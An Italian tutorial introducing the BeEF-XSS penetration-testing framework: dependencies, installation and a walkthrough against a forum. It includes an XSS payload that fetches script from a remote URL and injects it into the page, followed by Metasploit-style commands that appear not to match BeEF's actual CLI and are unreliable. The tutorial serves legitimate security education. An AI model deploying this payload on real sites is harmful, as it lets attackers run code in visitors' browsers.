BeEF tool, payload e PWA!

Beef-XSS è un framework open source che consente agli sviluppatori o pentester di testare la vulnerabilità alle cross-site scripting (XSS) delle loro applicazioni web.
Questo tool è dotato di un interfaccia web per fornire una serie di payloads XSS paragonabili a template che possono essere utilizzati per testare le applicazioni ecc... in pratica creazione di payload personalizzati.

Dipendenze

• adduser
• lsof
• ruby-ansi
• ruby-async-dns
• ruby-dev
• ruby-em-websocket
• ruby-erubis
• ruby-espeak
• ruby-eventmachine
• ruby-execjs
• ruby-json
• ruby-maxmind-db
• ruby-mime-types
• ruby-msfrpc-client
• ruby-otr-activerecord
• ruby-parseconfig
• ruby-qr4r
• ruby-rack
• ruby-rack-protection
• ruby-rubydns
• ruby-rushover
• ruby-sinatra
• ruby-slack-notifier
• ruby-sqlite3
• ruby-term-ansicolor
• ruby-terser
• ruby-twitter
• ruby-xmlrpc
• ruby-zip
• rubygems-integration
• thin
• xdg-utils

Installazione Debian:

• Comando:
  sudo apt install beef-xss

Esempio di utilizzo

Beef-XSS può essere utilizzato da terminale, si può utilizzare l'interfaccia a riga di comando (CLI):
./beef-cli

Ora vediamo un esempio di test con payload al nostro forum:

• Usiamo "use" per selezionare la modalità "module" e successivamente "exploit/xss/beefjs_script"
  use module/exploit/xss/beefjs_script
  Un esempio di questo exploit potrebbe essere:

  <script>
      function exploit() {
          var xhr = new XMLHttpRequest();
          xhr.open("GET", "https://ethicalhacking.freeflarum.com/exploit", true);
          xhr.onreadystatechange = function() {
              if (xhr.readyState === 4 && xhr.status === 200) {
                  var script = document.createElement("script");
                  script.type = "text/javascript";
                  script.innerHTML = xhr.responseText;
                  document.getElementsByTagName("head")[0].appendChild(script);
              }
          }
          xhr.send();
      }
      exploit();
  </script>

• Scriviamo "set" per impostare l'URL del sito web da testare:
  set target https://ethicalhacking.freeflarum.com

• "run" per eseguire l'exploit e inviare il payload:
  run

• Per visualizzare le sessioni attive:
  sessions -l

• Info utili:

  root@kali:~# beef-xss -h
  [-] You are using the Default credentials
  [-] (Password must be different from "beef")
  [-] Please type a new password for the beef user: 

  root@kali:~# beef-xss-stop -h
  * beef-xss.service - beef-xss
       Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
       Active: inactive (dead)

Conclusioni

Concludendo credo che questo tool sia molto utile per appunto pentester/sviluppatori per testare la vulnerabilità alle cross-site scripting (XSS) delle PWA. Il framework possiede un'interfaccia web facile da usare per fornire una serie di payloads XSS di default, visto che è abbastanza intuitiva ho evitato di approfondire questa parte.
Importante sottolineare che questo strumento deve essere utilizzato solo in ambienti di test o dove abbiamo il consenso, per il resto cercare di violare PWA è reato!